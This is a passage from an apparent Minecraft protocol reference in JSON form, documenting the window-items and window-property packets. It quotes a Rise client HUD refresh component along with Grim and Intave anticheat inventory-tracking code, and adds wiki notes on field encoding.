      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/component/impl/hud/AdaptiveRefreshRateComponent.java =====\npackage com.alan.clients.component.impl.hud;\n\nimport com.alan.clients.component.Component;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PreMotionEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.render.Render2DEvent;\nimport com.alan.clients.ui.ingame.GuiIngameCache;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.server.S02PacketChat;\nimport net.minecraft.network.play.server.S0DPacketCollectItem;\nimport net.minecraft.network.play.server.S2FPacketSetSlot;\nimport net.minecraft.network.play.server.S30PacketWindowItems;\nimport rip.vantage.commons.util.time.StopWatch;\n\npublic class AdaptiveRefreshRateComponent extends Component {\n\n    private boolean playerList, debugInfo;\n    private boolean setDirty;\n    private int disabledFor;\n    private float health;\n    public final StopWatch stopWatch = new StopWatch();\n\n    @EventLink\n    public final Listener<PreMotionEvent> onPreMotionEvent = event -> {\n        if (mc.thePlayer.ticksExisted % 100 == 0 || setDirty ||\n                mc.gameSettings.keyBindPlayerList.isKeyDown() != playerList || mc.gameSettings.showDebugInfo != debugInfo ||\n                mc.thePlayer.ticksExisted <= 10 || disabledFor > 0) {\n            GuiIngameCache.dirty = true;\n            playerList = mc.gameSettings.keyBindPlayerList.isKeyDown();\n            debugInfo = mc.gameSettings.showDebugInfo;\n            setDirty = false;\n        }\n\n        if (health != mc.thePlayer.getHealth()) {\n            disabledFor = 3;\n            health = mc.thePlayer.getHealth();\n        }\n\n        disabledFor--;\n    };\n\n    @EventLink\n    public final Listener<Render2DEvent> onRender2D = event -> {\n        if (mc.currentScreen != null) {\n            setDirty = true;\n            GuiIngameCache.dirty = true;\n        }\n    };\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> onPacketReceiveEvent = event -> {\n        Packet packet = event.getPacket();\n\n        if (packet instanceof S02PacketChat || packet instanceof S30PacketWindowItems || packet instanceof S2FPacketSetSlot) {\n            stopWatch.reset();\n            setDirty = true;\n        }\n\n        if (packet instanceof S0DPacketCollectItem) {\n            disabledFor = 5;\n        }\n    };\n}\n\n// NOTE (AI): S2F and S30 are grouped with S02PacketChat as significant packets that force a HUD cache redraw; S0D collect-item disables adaptive refresh for 5 ticks. The component is byte-identical in 6.1.30 under com/alan/clients.\n",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/component/impl/hud/AdaptiveRefreshRateComponent.java",
      "vanilla_hook": "PacketReceiveEvent, PreMotionEvent, Render2DEvent.",
      "anti_cheat_notes": "None; the component only observes the packet stream.",
      "variations": "Identical file in 6.1.30."
     }
    ],
    "general_hooks": "PacketReceiveEvent everywhere. Stealer additionally hooks Render2DEvent for the click loop and auto-close; Aura only the receive event; the Rise 6.x component only the receive event plus PreMotion and Render2D for cache management.",
    "client_variations": "Only Rise touches S30 outside vanilla in the corpus. Rise 5.99 has the gameplay modules (Stealer, Aura); Rise 6.x registers it in NetworkAPI for scripts and in AdaptiveRefreshRateComponent. Memeware, Nekoware, Sigma, Spicy and Tenacity 6.0 ship only the vanilla handler.",
    "related": [
     "S2DPacketOpenWindow",
     "S2FPacketSetSlot",
     "C0EPacketClickWindow",
     "S32PacketConfirmTransaction"
    ],
    "anticheat": {
     "overview": "The window-items packet dumps the full contents of an inventory window, and for simulation anticheats it is the authoritative recovery data that resyncs the compensated inventory after rejected transactions or open-window changes. Grim consumes it in two places: the inventory mirror applies every server slot to its storage, and the entity replication listener uses window-id-0 dumps to detect held-item and offhand changes. Intave's nayoro stack models the same send as a WindowItemsEvent. No anticheat treats S30 as a detection surface on its own.",
     "checks": [
      {
       "name": "Window-items inventory sync (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Keep the compensated copy of the player inventory aligned with the server after every full window-items send.",
       "how_it_works": "CompensatedInventory is a Check that listens on both directions. On WINDOW_ITEMS it wraps the packet, marks each server slot as corrected in the inventory storage, and when the window id is 0 (the player inventory) forces the packet-inventory mode back on and syncs the slot list. It tracks the open window id and the packet-sending inventory size, and falls back to the platform inventory for held item, offhand and armor reads when the packet stream is unsupported (modded menus).",
       "detects": "Slot desync between the client's claimed inventory and the server's authoritative dump. The mirror is the basis for inventory-aware checks such as NoSlow and item-use validation.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/utils/latency/CompensatedInventory.java =====\npackage ac.grim.grimac.utils.latency;\n\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.type.PacketReceiveListener;\nimport ac.grim.grimac.checks.type.PacketSendListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.anticheat.update.BlockPlace;\nimport ac.grim.grimac.utils.inventory.EquipmentType;\nimport ac.grim.grimac.utils.inventory.Inventory;\nimport ac.grim.grimac.utils.inventory.inventory.AbstractContainerMenu;\nimport ac.grim.grimac.utils.inventory.inventory.MenuType;\nimport ac.grim.grimac.utils.inventory.inventory.NotImplementedMenu;\nimport ac.grim.grimac.utils.lists.CorrectingPlayerInventoryStorage;\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.manager.server.ServerVersion;\nimport com.github.retrooper.packetevents.protocol.item.ItemStack;\nimport com.github.retrooper.packetevents.protocol.item.type.ItemType;\nimport com.github.retrooper.packetevents.protocol.item.type.ItemTypes;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.protocol.player.DiggingAction;\nimport com.github.retrooper.packetevents.protocol.player.GameMode;\nimport com.github.retrooper.packetevents.protocol.player.InteractionHand;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientClickWindow;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientCreativeInventoryAction;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientHeldItemChange;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientPlayerDigging;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientUseItem;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerOpenHorseWindow;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerOpenWindow;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSetPlayerInventory;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSetSlot;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerWindowItems;\nimport lombok.Getter;\n\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Optional;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\n// Updated to support modern 1.17 protocol\npublic class CompensatedInventory extends Check implements PacketReceiveListener, PacketSendListener {\n    private static final int PLAYER_INVENTORY_CASE = -1;\n    private static final int UNSUPPORTED_INVENTORY_CASE = -2;\n    // \"Temporarily\" public for debugging\n    public final Inventory inventory;\n    // \"Temporarily\" public for debugging\n    public AbstractContainerMenu menu;\n    // Not all inventories are supported due to complexity and version differences\n    public boolean isPacketInventoryActive = true;\n    public boolean needResend = false;\n    public int stateID = 0; // Don't mess up the last sent state ID by changing it\n    private int openWindowID = 0;\n    // Special values:\n    // Player inventory is -1\n    // Unsupported inventory is -2\n    private int packetSendingInventorySize = PLAYER_INVENTORY_CASE;\n\n    // The item held at the start of the current client tick (processed at the end of the previous tick)\n    // also updated before slot changes to account for the delay when using hotbar keybinds\n    // Currently only used by 1.21.11+ players to handle attribute swapping items with the ATTACK_RANGE Component\n    @Getter\n    private ItemStack startOfTickStack = ItemStack.EMPTY;\n\n    public CompensatedInventory(GrimPlayer playerData) {\n        super(playerData);\n\n        CorrectingPlayerInventoryStorage storage = new CorrectingPlayerInventoryStorage(player, 46);\n        inventory = new Inventory(playerData, storage);\n\n        menu = inventory;\n    }\n\n    // Meant for 1.17+ clients who send changed slots, making the server not send the entire inventory\n    private void markPlayerSlotAsChanged(int clicked) {\n        // Player inventory\n        if (openWindowID == 0) {\n            inventory.getInventoryStorage().handleClientClaimedSlotSet(clicked);\n            return;\n        }\n\n        // We don't know size of the inventory, so we can't do anything\n        // We will resync later.\n        if (menu instanceof NotImplementedMenu) return;\n\n        // 9-45 are the player inventory slots that are used\n        // There are 36 player slots in each menu that we care about and track.\n        int nonPlayerInvSize = menu.getSlots().size() - 36 + 9;\n        int playerInvSlotclicked = clicked - nonPlayerInvSize;\n        // Bypass player inventory\n        inventory.getInventoryStorage().handleClientClaimedSlotSet(playerInvSlotclicked);\n    }\n\n    public ItemStack getItemInHand(InteractionHand hand) {\n        return hand == InteractionHand.MAIN_HAND ? getHeldItem() : getOffHand();\n    }\n\n    /**\n     * Marks that the server has updated a slot by the specified ID in the specified inventory ID.\n     * @param clicked the updated slot\n     * @param windowID the inventory ID\n     */\n    private void markServerForChangingSlot(int clicked, int windowID) {\n        // Unsupported inventory\n        if (packetSendingInventorySize == UNSUPPORTED_INVENTORY_CASE) return;\n        // Player inventory\n        if (packetSendingInventorySize == PLAYER_INVENTORY_CASE || windowID == 0) {\n            // Result slot isn't included in storage, we must ignore it\n            inventory.getInventoryStorage().handleServerCorrectSlot(clicked);\n            return;\n        }\n        // See note in above method.\n        int nonPlayerInvSize = menu.getSlots().size() - 36 + 9;\n        int playerInvSlotclicked = clicked - nonPlayerInvSize;\n\n        inventory.getInventoryStorage().handleServerCorrectSlot(playerInvSlotclicked);\n    }\n\n    public ItemStack getHeldItem() {\n        ItemStack item = isPacketInventoryActive || player.platformPlayer == null ? inventory.getHeldItem() :\n                player.platformPlayer.getInventory().getItemInHand();\n        return item == null ? ItemStack.EMPTY : item;\n    }\n\n    public ItemStack getOffHand() {\n        if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_9))\n            return ItemStack.EMPTY;\n        ItemStack item = isPacketInventoryActive || player.platformPlayer == null ? inventory.getOffhand() :\n                player.platformPlayer.getInventory().getItemInOffHand();\n        return item == null ? ItemStack.EMPTY : item;\n    }\n\n    public ItemStack getHelmet() {\n        ItemStack item = isPacketInventoryActive || player.platformPlayer == null ? inventory.getHelmet() :\n                player.platformPlayer.getInventory().getHelmet();\n        return item == null ? ItemStack.EMPTY : item;\n    }\n\n    public ItemStack getChestplate() {\n        ItemStack item = isPacketInventoryActive || player.platformPlayer == null ? inventory.getChestplate() :\n                player.platformPlayer.getInventory().getChestplate();\n        return item == null ? ItemStack.EMPTY : item;\n    }\n\n    public ItemStack getLeggings() {\n        ItemStack item = isPacketInventoryActive || player.platformPlayer == null ? inventory.getLeggings() :\n                player.platformPlayer.getInventory().getLeggings();\n        return item == null ? ItemStack.EMPTY : item;\n    }\n\n    public ItemStack getBoots() {\n        ItemStack item = isPacketInventoryActive || player.platformPlayer == null ? inventory.getBoots() :\n                player.platformPlayer.getInventory().getBoots();\n        return item == null ? ItemStack.EMPTY : item;\n    }\n\n    private ItemStack getByEquipmentType(EquipmentType type) {\n        return switch (type) {\n            case HEAD -> getHelmet();\n            case CHEST -> getChestplate();\n            case LEGS -> getLeggings();\n            case FEET -> getBoots();\n            case OFFHAND -> getOffHand();\n            case MAINHAND -> getHeldItem();\n        };\n    }\n\n    public boolean hasItemType(ItemType type) {\n        if (isPacketInventoryActive || player.platformPlayer == null)\n            return inventory.hasItemType(type);\n\n        // Fall back to platform inventories\n        for (ItemStack itemStack : player.platformPlayer.getInventory().getContents()) {\n            if (itemStack != null && itemStack.getType() == type) return true;\n        }\n        return false;\n    }\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        if (event.getPacketType() == PacketType.Play.Client.USE_ITEM) {\n            WrapperPlayClientUseItem item = new WrapperPlayClientUseItem(event);\n\n            ItemStack use = item.getHand() == InteractionHand.MAIN_HAND ? getHeldItem() : getOffHand();\n\n            EquipmentType equipmentType = EquipmentType.getEquipmentSlotForItem(use);\n            if (equipmentType != null) {\n                int slot;\n                switch (equipmentType) {\n                    case HEAD -> slot = Inventory.SLOT_HELMET;\n                    case CHEST -> slot = Inventory.SLOT_CHESTPLATE;\n                    case LEGS -> slot = Inventory.SLOT_LEGGINGS;\n                    case FEET -> slot = Inventory.SLOT_BOOTS;\n                    default -> {\n                        return; // Not armor, therefore we shouldn't run this code\n                    }\n                }\n\n                ItemStack currentEquippedItem = getByEquipmentType(equipmentType);\n                // Only 1.19.4+ clients support swapping with non-empty items\n                if (player.getClientVersion().isOlderThan(ClientVersion.V_1_19_4) && !currentEquippedItem.isEmpty())\n                    return;\n\n                // 1.19.4+ clients support swapping with non-empty items\n                int swapItemSlot = item.getHand() == InteractionHand.MAIN_HAND ? inventory.getSelected() + Inventory.HOTBAR_OFFSET : Inventory.SLOT_OFFHAND;\n\n                // Mojang implemented this stupidly, I rewrote their item swap code to make it somewhat cleaner.\n                // Slot in hotbar\n                inventory.getInventoryStorage().handleClientClaimedSlotSet(swapItemSlot);\n                inventory.getInventoryStorage().setItem(swapItemSlot, currentEquippedItem);\n\n                // Equipment slot\n                inventory.getInventoryStorage().handleClientClaimedSlotSet(slot);\n                inventory.getInventoryStorage().setItem(slot, use);\n            }\n        } else if (event.getPacketType() == PacketType.Play.Client.PLAYER_DIGGING) {\n            WrapperPlayClientPlayerDigging dig = new WrapperPlayClientPlayerDigging(event);\n\n            // 1.8 clients don't predict dropping items\n            if (player.getClientVersion().isOlderThanOrEquals(ClientVersion.V_1_8)) return;\n\n            if (dig.getAction() == DiggingAction.DROP_ITEM) {\n                ItemStack heldItem = getHeldItem();\n                if (heldItem != null) {\n                    heldItem.setAmount(heldItem.getAmount() - 1);\n                    if (heldItem.getAmount() <= 0) {\n                        heldItem = null;\n                    }\n                }\n                inventory.setHeldItem(heldItem);\n                inventory.getInventoryStorage().handleClientClaimedSlotSet(Inventory.HOTBAR_OFFSET + player.packetStateData.lastSlotSelected);\n            }\n\n            if (dig.getAction() == DiggingAction.DROP_ITEM_STACK) {\n                inventory.setHeldItem(null);\n                inventory.getInventoryStorage().handleClientClaimedSlotSet(Inventory.HOTBAR_OFFSET + player.packetStateData.lastSlotSelected);\n            }\n        } else if (event.getPacketType() == PacketType.Play.Client.HELD_ITEM_CHANGE) {\n            final int slot = new WrapperPlayClientHeldItemChange(event).getSlot();\n\n            // Stop people from spamming the server with an out-of-bounds exception\n            if (slot > 8 || slot < 0) return;\n\n            // set this before we change the selected slot so we get the previous item held\n            this.startOfTickStack = getHeldItem();\n            inventory.setSelected(slot);\n        } else if (event.getPacketType() == PacketType.Play.Client.CREATIVE_INVENTORY_ACTION) {\n            WrapperPlayClientCreativeInventoryAction action = new WrapperPlayClientCreativeInventoryAction(event);\n            if (player.gamemode != GameMode.CREATIVE) return;\n\n            boolean valid = action.getSlot() >= 1 &&\n                    (PacketEvents.getAPI().getServerManager().getVersion().isNewerThan(ServerVersion.V_1_8) ?\n                            action.getSlot() <= 45 : action.getSlot() < 45);\n\n            if (valid) {\n                inventory.getSlot(action.getSlot()).set(action.getItemStack());\n                inventory.getInventoryStorage().handleClientClaimedSlotSet(action.getSlot());\n            }\n        } else if (event.getPacketType() == PacketType.Play.Client.CLICK_WINDOW && !event.isCancelled()) {\n            WrapperPlayClientClickWindow click = new WrapperPlayClientClickWindow(event);\n\n            // How is this possible? Maybe transaction splitting.\n            if (click.getWindowId() != openWindowID) {\n                return;\n            }\n\n            // Don't care about this click since we can't track it.\n            if (menu instanceof NotImplementedMenu) {\n                return;\n            }\n\n            // Mark the slots the player has changed as changed, then continue simulating what they changed\n            Optional<Map<Integer, ItemStack>> slots = click.getSlots();\n            slots.ifPresent(integerItemStackMap -> integerItemStackMap.keySet().forEach(this::markPlayerSlotAsChanged));\n\n            // 0 for left click\n            // 1 for right click\n            int button = click.getButton();\n            // Offset by the number of slots in the inventory actively open\n            // Is -999 when clicking off the screen\n            int slot = click.getSlot();\n            // Self-explanatory, look at the enum's values\n            WrapperPlayClientClickWindow.WindowClickType clickType = click.getWindowClickType();\n\n            if (slot == -1 || slot == -999 || slot < menu.getSlots().size()) {\n                menu.doClick(button, slot, clickType);\n            }\n        } else if (event.getPacketType() == PacketType.Play.Client.CLOSE_WINDOW) {\n            this.closeActiveInventory();\n        } else if (isTickPacket(event.getPacketType())) {\n            this.startOfTickStack = getHeldItem();\n        }\n    }\n\n    public void markSlotAsResyncing(BlockPlace place) {\n        // Update held item tracking\n        if (place.hand == InteractionHand.MAIN_HAND) {\n            inventory.getInventoryStorage().handleClientClaimedSlotSet(Inventory.HOTBAR_OFFSET + player.packetStateData.lastSlotSelected);\n        } else {\n            inventory.getInventoryStorage().handleServerCorrectSlot(Inventory.SLOT_OFFHAND);\n        }\n    }\n\n    public void onBlockPlace(BlockPlace place) {\n        if (player.gamemode != GameMode.CREATIVE && place.itemStack.getType() != ItemTypes.POWDER_SNOW_BUCKET) {\n            markSlotAsResyncing(place);\n            place.itemStack.setAmount(place.itemStack.getAmount() - 1);\n        }\n    }\n\n    @Override\n    public void onPacketSend(final PacketSendEvent event) {\n        // Not 1:1 MCP, based on Wiki.VG to be simpler as we need less logic...\n        // For example, we don't need permanent storage, only storing data until the client closes the window\n        // We also don't need a lot of server-sided only logic\n        if (event.getPacketType() == PacketType.Play.Server.OPEN_WINDOW) {\n            WrapperPlayServerOpenWindow open = new WrapperPlayServerOpenWindow(event);\n\n            MenuType menuType = MenuType.getMenuType(open.getType());\n\n            AbstractContainerMenu newMenu;\n            if (PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_14)) {\n                newMenu = MenuType.getMenuFromID(player, inventory, menuType);\n            } else {\n                newMenu = MenuType.getMenuFromString(player, inventory, open.getLegacyType(), open.getLegacySlots(), open.getHorseId());\n            }\n\n            packetSendingInventorySize = newMenu instanceof NotImplementedMenu ? UNSUPPORTED_INVENTORY_CASE : newMenu.getSlots().size();\n\n            // There doesn't seem to be a check against using 0 as the window ID - let's consider that an invalid packet\n            // It will probably mess up a TON of logic both client and server sided, so don't do that!\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                openWindowID = open.getContainerId();\n                menu = newMenu;\n                isPacketInventoryActive = !(newMenu instanceof NotImplementedMenu);\n                needResend = newMenu instanceof NotImplementedMenu;\n            });\n        }\n\n        // I'm not implementing this lol\n        if (event.getPacketType() == PacketType.Play.Server.OPEN_HORSE_WINDOW) {\n            WrapperPlayServerOpenHorseWindow open = new WrapperPlayServerOpenHorseWindow(event);\n\n            packetSendingInventorySize = UNSUPPORTED_INVENTORY_CASE;\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                isPacketInventoryActive = false;\n                needResend = true;\n                openWindowID = open.getWindowId();\n            });\n        }\n\n        // 1:1 MCP\n        if (event.getPacketType() == PacketType.Play.Server.CLOSE_WINDOW) {\n            packetSendingInventorySize = PLAYER_INVENTORY_CASE;\n\n            // Disregard provided window ID, client doesn't care...\n            // We need to do this because the client doesn't send a packet when closing the window\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), this::closeActiveInventory);\n        }\n\n        // Should be 1:1 MCP\n        if (event.getPacketType() == PacketType.Play.Server.WINDOW_ITEMS) {\n            WrapperPlayServerWindowItems items = new WrapperPlayServerWindowItems(event);\n            stateID = items.getStateId();\n\n            List<ItemStack> slots = items.getItems();\n            for (int i = 0; i < slots.size(); i++) {\n                markServerForChangingSlot(i, items.getWindowId());\n            }\n\n            final int cachedPacketInvSize = packetSendingInventorySize;\n            final AtomicBoolean updatedValue = new AtomicBoolean();\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                // Never true when the inventory is unsupported.\n                // Vanilla ALWAYS sends the entire inventory to resync, this is a valid thing to check\n                // 01/07/2025: Somehow, the server sends a window id 0 update when the player is not in their inventory?\n                // I guess just revert isPacketInventoryActive if the player has a NotImplementedMenu open?\n                // Regardless, the client does accept this packet and updates its inventory, so we must do the same.\n                boolean forceUpdate = slots.size() == cachedPacketInvSize || items.getWindowId() == 0;\n                if (!isPacketInventoryActive && forceUpdate) {\n                    isPacketInventoryActive = true;\n                    updatedValue.set(true);\n                }\n            });\n\n            if (items.getWindowId() == 0) { // Player inventory\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                    if (!isPacketInventoryActive) return;\n                    for (int i = 0; i < slots.size(); i++) {\n                        inventory.getSlot(i).set(slots.get(i));\n                    }\n                    if (items.getCarriedItem().isPresent()) {\n                        inventory.setCarried(items.getCarriedItem().get());\n                    }\n                });\n            } else {\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                    if (!isPacketInventoryActive) return;\n                    if (items.getWindowId() == openWindowID) {\n                        for (int i = 0; i < slots.size(); i++) {\n                            menu.getSlot(i).set(slots.get(i));\n                        }\n                    }\n                    if (items.getCarriedItem().isPresent()) {\n                        inventory.setCarried(items.getCarriedItem().get());\n                    }\n                });\n            }\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                // The server sent a packet for the player's inventory when they had another inventory open - revert.\n                if (updatedValue.get() && !menu.equals(inventory)) {\n                    isPacketInventoryActive = false;\n                }\n            });\n        }\n\n        // This packet replaces SET_SLOT for player inventory for 1.21.2+\n        if (event.getPacketType() == PacketType.Play.Server.SET_PLAYER_INVENTORY) {\n            WrapperPlayServerSetPlayerInventory slot = new WrapperPlayServerSetPlayerInventory(event);\n            final int slotID = slot.getSlot();\n            final ItemStack item = slot.getStack();\n\n            inventory.getInventoryStorage().handleServerCorrectSlot(slotID);\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                if (!isPacketInventoryActive) return;\n                inventory.getSlot(slotID).set(item);\n            });\n        }\n\n        // Also 1:1 MCP\n        if (event.getPacketType() == PacketType.Play.Server.SET_SLOT) {\n            // Only edit hotbar (36 to 44) if window ID is 0\n            // Set cursor by putting -1 as window ID and as slot\n            // Window ID -2 means any slot can be used\n            WrapperPlayServerSetSlot slot = new WrapperPlayServerSetSlot(event);\n            final int slotID = slot.getSlot();\n            final int inventoryID = slot.getWindowId();\n            final ItemStack item = slot.getItem();\n\n            if (inventoryID == -2) { // Direct inventory change\n                inventory.getInventoryStorage().handleServerCorrectSlot(slotID);\n            } else if (inventoryID == 0) { // Inventory change through window ID, no crafting result\n                inventory.getInventoryStorage().handleServerCorrectSlot(slotID);\n            } else {\n                markServerForChangingSlot(slotID, inventoryID);\n            }\n\n            stateID = slot.getStateId();\n\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                if (!isPacketInventoryActive) return;\n                if (inventoryID == -1) { // Carried item\n                    inventory.setCarried(item);\n                } else if (inventoryID == -2) { // Direct inventory change (only applied if valid slot)\n                    if (inventory.getInventoryStorage().getSize() > slotID && slotID >= 0) {\n                        inventory.getInventoryStorage().setItem(slotID, item);\n                    }\n                } else if (inventoryID == 0) { // Player inventory\n                    // This packet can only be used to edit the hotbar and offhand of the player's inventory if\n                    // window ID is set to 0 (slots 36 through 45) if the player is in creative, with their inventory open,\n                    // and not in their survival inventory tab. Otherwise, when window ID is 0, it can edit any slot in the player's inventory.\n                    if (slotID >= 0 && slotID <= 45) {\n                        inventory.getSlot(slotID).set(item);\n                    }\n                } else if (inventoryID == openWindowID) { // Opened inventory (if not valid, client crashes)\n                    menu.getSlot(slotID).set(item);\n                }\n            });\n        }\n    }\n\n    /**\n     * Closes the player's currently open inventory on the client by resetting to the player's inventory.\n     */\n    private void closeActiveInventory() {\n        isPacketInventoryActive = true;\n        openWindowID = 0;\n        menu = inventory;\n        menu.setCarried(ItemStack.EMPTY); // Reset carried item\n    }\n}\n// NOTE (AI): The class implements PacketReceiveListener and PacketSendListener and is the largest inventory-state consumer in Grim. The WINDOW_ITEMS handling validates the dump size against the open window before applying it, and window id 0 always re-enables packet-inventory mode.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/utils/latency/CompensatedInventory.java",
       "variations": "PacketEntityReplication in the same repo consumes window-id-0 dumps to reset item-use state, and Artemis registers the packet in its repository (PacketPlayServerWindowItems) with a wrapper interface but no check logic."
      },
      {
       "name": "Window-items event (Intave)",
       "found_in": [
        "intave-intave"
       ],
       "purpose": "Model the server's window-items send as a typed nayoro event so Intave's inventory tracking can react to full window dumps.",
       "how_it_works": "WindowItemsEvent carries the window id, the slot count, and a map of slot to item. It is one of the event types dispatched through the nayoro EventSink visitor, and the protocol layer registers it in the event registry. The class also handles item serialization for the nayoro wire format.",
       "detects": "None directly: it is event plumbing that mirrors server inventory state into the monitoring stack that backs Intave's inventory and movement checks.",
       "detailed_code": "// ===== FILE: intave-intave, src/main/java/de/jpx3/intave/module/nayoro/event/WindowItemsEvent.java =====\npackage de.jpx3.intave.module.nayoro.event;\n\nimport de.jpx3.intave.module.nayoro.Environment;\nimport de.jpx3.intave.module.nayoro.Inventory;\nimport de.jpx3.intave.module.nayoro.event.sink.EventSink;\nimport org.bukkit.inventory.ItemStack;\n\nimport java.io.DataInput;\nimport java.io.DataOutput;\nimport java.io.IOException;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic final class WindowItemsEvent extends Event {\n  private int windowId;\n  private int count;\n\n  private final Map<Integer, Inventory.Item> items = new HashMap<>();\n\n  public WindowItemsEvent() {\n  }\n\n  public WindowItemsEvent(\n    int windowId, int count,\n    Map<Integer, ItemStack> items\n  ) {\n    this.windowId = windowId;\n    this.count = count;\n    for (Map.Entry<Integer, ItemStack> entry : items.entrySet()) {\n      int slot = entry.getKey();\n      this.items.put(slot, Inventory.Item.fromItem(entry.getValue()));\n    }\n  }\n\n  @Override\n  public void serialize(Environment environment, DataOutput out) throws IOException {\n    out.writeInt(windowId);\n    out.writeInt(count);\n    out.writeInt(items.size());\n    for (Map.Entry<Integer, Inventory.Item> entry : items.entrySet()) {\n      out.writeInt(entry.getKey());\n      entry.getValue().serialize(out);\n    }\n  }\n\n  @Override\n  public void deserialize(Environment environment, DataInput in) throws IOException {\n    windowId = in.readInt();\n    count = in.readInt();\n    if (count > 1024) {\n      throw new IOException(\"Too many items: \" + count);\n    }\n    items.clear();\n    int size = in.readInt();\n    if (size > 1024) {\n      throw new IOException(\"Too many items: \" + size);\n    }\n    for (int i = 0; i < size; i++) {\n      int slot = in.readInt();\n      items.put(slot, Inventory.Item.deserialize(in));\n    }\n  }\n\n  @Override\n  public void accept(EventSink sink) {\n    sink.visit(this);\n  }\n\n  public int windowId() {\n    return windowId;\n  }\n\n  public int count() {\n    return count;\n  }\n\n  public Map<Integer, Inventory.Item> items() {\n    return items;\n  }\n\n  public void addItem(int slot, Inventory.Item item) {\n    items.put(slot, item);\n  }\n\n  public void removeItem(int index) {\n    items.remove(index);\n  }\n\n  public void clearItems() {\n    items.clear();\n  }\n\n  public static WindowItemsEvent create(\n    int windowId, int slots, Map<Integer, ItemStack> items\n  ) {\n    return new WindowItemsEvent(windowId, slots, items);\n  }\n}\n// NOTE (AI): The nayoro module is Intave's server-side inventory event abstraction; the WindowItemsEvent mirrors the vanilla window-items send so downstream visitors receive a typed slot map instead of raw packets.",
       "code_source": "intave-intave, src/main/java/de/jpx3/intave/module/nayoro/event/WindowItemsEvent.java",
       "variations": "The only other named reference is Negativity's PacketType enum, which lists WINDOW_ITEMS as a clientbound constant; it is not consumed by any Negativity check."
      }
     ]
    }
   },
   "wiki_notes": [
    "Clientbound 0x30: unsigned byte windowId, short slot count, then ItemStack per slot.",
    "Window 0 dumps player inventory; container dump follows S2D open back to back.",
    "Also sent as recovery when a C0E click is rejected, forcing client to revert slots.",
    "MCP 1.8.9 S30PacketWindowItems implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleWindowItems; wire serde is readPacketData/writePacketData via readItemStackFromBuffer, readShort, readUnsignedByte.",
    "1.8.9 callers: EntityPlayerMP.updateCraftingInventory sends new S30PacketWindowItems (line 875): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/player/EntityPlayerMP.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S30PacketWindowItems/",
   "mcp_path": "net/minecraft/network/play/server/S30PacketWindowItems.java",
   "group": "play-client",
   "logic_classes": [
    "EntityPlayerMP"
   ]
  },
  {
   "id": "S31PacketWindowProperty",
   "hex": "0x31",
   "dec": 49,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Window Property",
   "desc": "Updates a single property in a container (enchantment level, furnace burn time, brewing progress, etc.).",
   "tags": [
    "inventory",
    "container",
    "property"
   ],
   "fields": [
    {
     "name": "windowId",
     "type": "byte",
     "desc": "Window ID"
    },
    {
     "name": "propertyId",
     "type": "short",
     "desc": "Property index"
    },
    {
     "name": "value",
     "type": "short",
     "desc": "Property value"
    }
   ],
   "encoding": [
    [
     "Window ID",
     "unsigned byte",
     ""
    ],
    [
     "Property",
     "short",
     "0-3=enchant levels, 0=furnace burn, etc."
    ],
    [
     "Value",
     "short",
     ""
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleWindowProperty()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "Property IDs vary by container type. Enchantment table: 0=top level, 1=middle, 2=bottom. Furnace: 0=burn time, 1=current item progress, 2=total cook time. Brewing stand: 0=brew time. Beacon: 0=power level.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
